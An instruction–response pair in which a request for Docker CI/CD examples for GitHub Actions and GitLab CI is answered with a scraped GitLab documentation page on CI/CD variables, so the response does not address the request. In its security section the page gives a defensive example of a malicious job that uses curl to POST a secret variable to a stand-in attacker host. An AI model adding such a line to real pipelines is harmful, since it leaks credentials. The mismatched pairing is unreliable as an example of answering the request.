instruction: Provide Docker CI/CD examples for github-actions gitlab-ci
output: Help us learn about your current experience with the documentation. Take the survey . GitLab CI/CD variables Tier : Free, Premium, Ultimate Offering : GitLab.com, GitLab Self-Managed, GitLab Dedicated CI/CD variables are a type of environment variable. You can use them to: Control the behavior of jobs and pipelines . Store values you want to re-use, for example in job scripts . Avoid hard-coding values in your .gitlab-ci.yml file. You can override variable values for a specific pipeline when you run a pipeline manually , run a manual job , or have them prefilled in manual pipelines . Variable names are limited by the shell the runner uses to execute scripts. Each shell has its own set of reserved variable names. To ensure consistent behavior, you should always put variable values in single or double quotes. Variables are internally parsed by the Psych YAML parser , so quoted and unquoted variables might be parsed differently. For example, VAR1: 012345 is interpreted as an octal value, so the value becomes 5349 , but VAR1: "012345" is parsed as a string with a value of 012345 . For more information about advanced use of GitLab CI/CD, see 7 advanced GitLab CI workflow hacks shared by GitLab engineers. Predefined CI/CD variables GitLab CI/CD makes a set of predefined CI/CD variables available for use in pipeline configuration and job scripts. These variables contain information about the job, pipeline, and other values you might need when the pipeline is triggered or running. You can use predefined CI/CD variables in your .gitlab-ci.yml without declaring them first. For example: job1 : stage : test script : - echo "The job's stage is '$CI_JOB_STAGE'" The script in this example outputs The job's stage is 'test' . Define a CI/CD variable in the .gitlab-ci.yml file To create a CI/CD variable in the .gitlab-ci.yml file, define the variable and value with the variables keyword. Variables saved in the .gitlab-ci.yml file are visible to all users with access to the repository, and should store only non-sensitive project configuration. For example, the URL of a database saved in a DATABASE_URL variable. Sensitive variables containing values like secrets or keys should be added in the UI . You can define variables in: A job: The variable is only available in that job’s script , before_script , or after_script sections, and with some job keywords . The top-level of the .gitlab-ci.yml file: The variable is available as a default for all jobs in a pipeline, unless a job defines a variable with the same name. The job’s variable takes precedence. In both cases, you cannot use these variables with global keywords . For example: variables : ALL_JOBS_VAR : "A default variable" job1 : variables : JOB1_VAR : "Job 1 variable" script : - echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'" job2 : variables : ALL_JOBS_VAR : "Different value than default" JOB2_VAR : "Job 2 variable" script : - echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'" In this example: job1 outputs: Variables are 'A default variable' and 'Job 1 variable' job2 outputs: Variables are 'Different value than default', 'Job 2 variable', and '' Use the value and description keywords to define variables that are prefilled for manually-triggered pipelines . Skip default variables in a single job If you don’t want default variables to be available in a job, set variables to {} : variables : DEFAULT_VAR : "A default variable" job1 : variables : {} script : - echo This job does not need any variables Define a CI/CD variable in the UI Sensitive variables like tokens or passwords should be stored in the settings in the UI, not in the .gitlab-ci.yml file . Add CI/CD variables in the UI: For a project in the project’s settings . For all projects in a group in the group’s setting . For all projects in a GitLab instance in the instance’s settings . Alternatively, these variables can be added by using the API: With the project-level variables API endpoint . With the group-level variables API endpoint . With the instance-level variables API endpoint . By default, pipelines from forked projects can’t access the CI/CD variables available to the parent project. If you run a merge request pipeline in the parent project for a merge request from a fork , all variables become available to the pipeline. For a project You can add CI/CD variables to a project’s settings. Projects can have a maximum of 8000 CI/CD variables. Prerequisites: You must be a project member with the Maintainer role. To add or update variables in the project settings: On the left sidebar, select Search or go to and find your project. Select Settings > CI/CD . Expand Variables . Select Add variable and fill in the details: Key : Must be one line, with no spaces, using only letters, numbers, or _ . Value : No limitations. Type : Variable (default) or File . Environment scope : Optional. All (default) ( * ), a specific environment , or a wildcard environment scope . Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags . Visibility : Select Visible (default), Masked , or Masked and hidden (only available for new variables). After you create a variable, you can use it in the pipeline configuration or in job scripts . For a group You can make a CI/CD variable available to all projects in a group. Groups can have a maximum of 30000 CI/CD variables. Prerequisites: You must be a group member with the Owner role. To add a group variable: On the left sidebar, select Search or go to and find your group. Select Settings > CI/CD . Expand Variables . Select Add variable and fill in the details: Key : Must be one line, with no spaces, using only letters, numbers, or _ . Value : No limitations. Type : Variable (default) or File . Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags . Visibility : Select Visible (default), Masked , or Masked and hidden (only available for new variables). The group variables that are available in a project are listed in the project’s Settings > CI/CD > Variables section. Variables from subgroups are recursively inherited. Environment scope Tier : Premium, Ultimate To set a group CI/CD variable to only be available for certain environments: On the left sidebar, select Search or go to and find your group. Select Settings > CI/CD . Expand Variables . To the right of the variable, select Edit ( pencil ). For Environment scope , select All (default) ( * ), a specific environment , or a wildcard environment scope . For an instance Tier : Free, Premium, Ultimate Offering : GitLab Self-Managed, GitLab Dedicated You can make a CI/CD variable available to all projects and groups in a GitLab instance. Prerequisites: You must have administrator access to the instance. To add an instance variable: On the left sidebar, at the bottom, select Admin . Select Settings > CI/CD . Expand Variables . Select Add variable and fill in the details: Key : Must be one line, with no spaces, using only letters, numbers, or _ . Value : The value is limited to 10,000 characters, but also bounded by any limits in the runner’s operating system. Type : Variable (default) or File . Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags . Visibility : Select Visible (default), Masked , or Masked and hidden (only available for new variables). CI/CD variable security Code pushed to the .gitlab-ci.yml file could compromise your variables. Variables could be accidentally exposed in a job log, or maliciously sent to a third party server. Review all merge requests that introduce changes to the .gitlab-ci.yml file before you: Run a pipeline in the parent project for a merge request submitted from a forked project . Merge the changes. Review the .gitlab-ci.yml file of imported projects before you add files or run pipelines against them. The following example shows malicious code in a .gitlab-ci.yml file: accidental-leak-job : script : # Password exposed accidentally - echo "This script logs into the DB with $USER $PASSWORD" - db-login $USER $PASSWORD malicious-job : script : # Secret exposed maliciously - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" To help reduce the risk of accidentally leaking secrets through scripts like in accidental-leak-job , all variables containing sensitive information should always be masked in job logs . You can also limit a variable to protected branches and tags only . Alternatively, use one of the native GitLab integrations to connect with third party secrets manager providers to store and retrieve secrets: HashiCorp Vault Azure Key Vault Google Secret Manager You can also use OpenID Connect (OIDC) authentication for secrets managers which do not have a native integration. Malicious scripts like in malicious-job must be caught during the review process. Reviewers should never trigger a pipeline when they find code like this, because malicious code can compromise both masked and protected variables. Variable values are encrypted using aes-256-cbc and stored in the database. This data can only be read and decrypted with a valid secrets file . Mask a CI/CD variable Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing variable values. To ensure security of sensitive information, consider using external secrets and file type variables to prevent commands such as env / printenv from printing secret variables. You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs. When a masked CI/CD variable would be displayed in a job log, the value is replaced with [masked] to prevent the value from being exposed. Prerequisites: You must have the same role or access level as required to add a CI/CD variable in the UI . To mask a variable: For the group, project, or in the Admin area, select Settings > CI/CD . Expand Variables . Next to the variable you want to protect, select Edit . Under Visibility , select Mask variable . Select Update variable . The method used to mask variables limits what can be included in a masked variable . The value of the variable must: Be a single line with no spaces. Be 8 characters or longer. Not match the name of an existing predefined or custom CI/CD variable. Not include non-alphanumeric characters other than @ , _ , - , : , or + . Additionally, if variable expansion is enabled, the value can contain only: Characters from the Base64 alphabet (RFC4648). The @ , : , . , or ~ characters. Masking a variable automatically masks the value anywhere in a job log. If another variable has the same value, that value is also masked, including when a variable references a masked variable. The string [MASKED] is shown instead of the value, possibly with some trailing x characters. Secrets could be revealed when CI_DEBUG_SERVICES is enabled. For details, read about service container logging . Hide a CI/CD variable History Introduced in GitLab 17.4 with a flag named ci_hidden_variables . Enabled by default. Generally available in GitLab 17.6. Feature flag ci_hidden_variables removed. In addition to masking, you can also prevent the value of CI/CD variables from being revealed in the CI/CD settings page. Hiding a variable is only possible when creating a new variable, you cannot update an existing variable to be hidden. Prerequisites: You must have the same role or access level as required to add a CI/CD variable in the UI . The variable value must match the requirements for masked variables . To hide a variable, select Masked and hidden in the Visibility section when you add a new CI/CD variable in the UI . After you save the variable, the variable can be used in CI/CD pipelines, but cannot be revealed in the UI again. Protect a CI/CD variable You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on protected branches or protected tags . Merged results pipelines and merge request pipelines can optionally access protected variables . Prerequisites: You must have the same role or access level as required to add a CI/CD variable in the UI . To set a variable as protected: For the project or group, go to Settings > CI/CD . Expand Variables . Next to the variable you want to protect, select Edit . Select the Protect variable checkbox. Select Update variable . The variable is available for all subsequent pipelines. Use file type CI/CD variables All predefined CI/CD variables and variables defined in the .gitlab-ci.yml file are “variable” type ( variable_type of env_var in the API ). Variable type variables: Consist of a key and value pair. Are made available in jobs as environment variables, with: The CI/CD variable key as the environment variable name. The CI/CD variable value as the environment variable value. Project, group, and instance CI/CD variables are “variable” type by default, but can optionally be set as a “file” type ( variable_type of file in the API ). File type variables: Consist of a key, value, and file. Are made available in jobs as environment variables, with: The CI/CD variable key as the environment variable name. The CI/CD variable value saved to a temporary file. The path to the temporary file as the environment variable value. Use file type CI/CD variables for tools that need a file as input. The AWS CLI and kubectl are both tools that use File type variables for configuration. For example, if you are using kubectl with: A variable with a key of KUBE_URL and https://example.com as the value. A file type variable with a key of KUBE_CA_PEM and a certificate as the value. Pass KUBE_URL as a --server option, which accepts a variable, and pass $KUBE_CA_PEM as a --certificate-authority option, which accepts a path to a file: kubectl config set-cluster e2e --server = " $KUBE_URL " --certificate-authority = " $KUBE_CA_PEM " Use a .gitlab-ci.yml variable as a file type variable You cannot set a CI/CD variable defined in the .gitlab-ci.yml file as a file type variable. If you have a tool that requires a file path as an input, but you want to use a variable defined in the .gitlab-ci.yml : Run a command that saves the value of the variable in a file. Use that file with your tool. For example: variables : SITE_URL : "https://gitlab.example.com" job : script : - echo "$SITE_URL" > "site-url.txt" - mytool --url-file="site-url.txt" Prevent CI/CD variable expansion Expanded variables treat values with the $ character as a reference to another variable. CI/CD variables are expanded by default. To treat variables with a $ character as raw strings, disable variable expansion for the variable Prerequisites: You must have the same role or access level as required to add a CI/CD variable in the UI . To disable variable expansion for the variable: For the project or group, go to Settings > CI/CD . Expand Variables . Next to the variable you want to do not want expanded, select Edit . Clear the Expand variable checkbox. Select Update variable . CI/CD variable precedence History Scan Execution Policies variable precedence was changed in GitLab 16.7 with a flag named security_policies_variables_precedence . Enabled by default. Feature flag removed in GitLab 16.8 . You can use CI/CD variables with the same name in different places, but the values can overwrite each other. The type of variable and where they are defined determines which variables take precedence. The order of precedence for variables is (from highest to lowest): Pipeline execution policy variables . Scan execution policy variables . Pipeline variables . These variables all have the same precedence: Variables passed to downstream pipelines . Trigger variables . Scheduled pipeline variables . Manual pipeline variables . Variables added when creating a pipeline with the API . Manual job variables . Project variables . Group variables . If the same variable name exists in a group and its subgroups, the job uses the value from the closest subgroup. For example, if you have Group > Subgroup 1 > Subgroup 2 > Project , the variable defined in Subgroup 2 takes precedence. Instance variables . Variables from dotenv reports . Job variables, defined in jobs in the .gitlab-ci.yml file. Default variables for all jobs, defined at the top-level of the .gitlab-ci.yml file. Deployment variables . Predefined variables . For example: variables : API_TOKEN : "default" job1 : variables : API_TOKEN : "secure" script : - echo "The variable is '$API_TOKEN'" In this example, job1 outputs The variable is 'secure' because variables defined in jobs in the .gitlab-ci.yml file have higher precedence than default variables. Use pipeline variables Pipeline variables are variables that are specified when running a new pipeline. Prerequisites: You must have the Developer role in the project. You can specify a pipeline variable when you: Run a pipeline manually in the UI. Create a pipeline by using the pipelines API endpoint . Create a pipeline by using the triggers API endpoint . Use push options . Pass variables to a downstream pipeline by using either the variables keyword , trigger:forward keyword or dotenv variables . These variables have higher precedence and can override other defined variables, including predefined variables . You should avoid overriding predefined variables in most cases, as it can cause the pipeline to behave unexpectedly. In GitLab 17.7 and later, pipeline inputs are recommended over passing pipeline variables. For enhanced security, you should disable pipeline variables when using inputs. Restrict pipeline variables History Introduced in GitLab 17.1. For GitLab.com, setting defaults updated for all new projects in new namespaces to no_one_allowed for ci_pipeline_variables_minimum_override_role in GitLab 17.7. You can limit who can run pipelines with pipeline variables to specific user roles. When users with a lower role try to use pipeline variables, they receive an Insufficient permissions to set pipeline variables error message. Prerequisites: You must have the Maintainer role in the project. If the minimum role was previously set to owner or no_one_allowed , then you must have the Owner role in the project. To limit the use of pipeline variables to only the Maintainer role and higher: Go to Settings > CI/CD > Variables . Under Minimum role to use pipeline variables , select one of: no_one_allowed : No pipelines can run with pipeline variables. Default for new projects in new namespaces on GitLab.com. owner : Only users with the Owner role can run pipelines with pipeline variables. You must have the Owner role for the project to change the setting to this value. maintainer : Only users with at least the Maintainer role can run pipelines with pipeline variables. Default when not specified on GitLab Self-Managed and GitLab Dedicated. developer : Only users with at least the Developer role can run pipelines with pipeline variables. You can also use the projects API to set the role for the ci_pipeline_variables_minimum_override_role setting. This restriction does not affect the use of CI/CD variables from the project or group settings. Most jobs can still use the variables keyword in the YAML configuration, but not jobs that use the trigger keyword to trigger downstream pipelines. Trigger jobs pass variables to a downstream pipelines as pipeline variables, which is also controlled by this setting. Exporting variables Scripts executed in separate shell contexts do not share exports, aliases, local function definitions, or any other local shell updates. This means that if a job fails, variables created by user-defined scripts are not exported. When runners execute jobs defined in .gitlab-ci.yml : Scripts specified in before_script and the main script are executed together in a single shell context, and are concatenated. Scripts specified in after_script run in a shell context completely separate to the before_script and the specified scripts. Regardless of the shell the scripts are executed in, the runner output includes: Predefined variables. Variables defined in: Instance, group, or project CI/CD settings. The .gitlab-ci.yml file in the variables: section. The .gitlab-ci.yml file in the secrets: section. The config.toml . The runner cannot handle manual exports, shell aliases, and functions executed in the body of the script, like export MY_VARIABLE=1 . For example, in the following .gitlab-ci.yml file, the following scripts are defined: job : variables : JOB_DEFINED_VARIABLE : "job variable" before_script : - echo "This is the 'before_script' script" - export MY_VARIABLE="variable" script : - echo "This is the 'script' script" - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}" - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}" - echo "MY_VARIABLE's value is ${MY_VARIABLE}" after_script : - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}" - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}" - echo "MY_VARIABLE's value is ${MY_VARIABLE}" When the runner executes the job: before_script is executed: Prints to the output. Defines the variable for MY_VARIABLE . script is executed: Prints to the output. Prints the value of JOB_DEFINED_VARIABLE . Prints the value of CI_COMMIT_SHA . Prints the value of MY_VARIABLE . after_script is executed in a new, separate shell context: Prints to the output. Prints the value of JOB_DEFINED_VARIABLE . Prints the value of CI_COMMIT_SHA . Prints an empty value of MY_VARIABLE . The variable value cannot be detected because after_script is in a separate shell context to before_script . Related topics You can configure Auto DevOps to pass CI/CD variables to a running application. To make a CI/CD variable available as an environment variable in the running application’s container, prefix the variable key with K8S_SECRET_ . The Managing the Complex Configuration Data Management Monster Using GitLab video is a walkthrough of the Complex Configuration Data Monorepo working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments. The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page. You can pass CI/CD variables to downstream pipelines . Use trigger:forward keyword to specify what type of variables to pass to the downstream pipeline.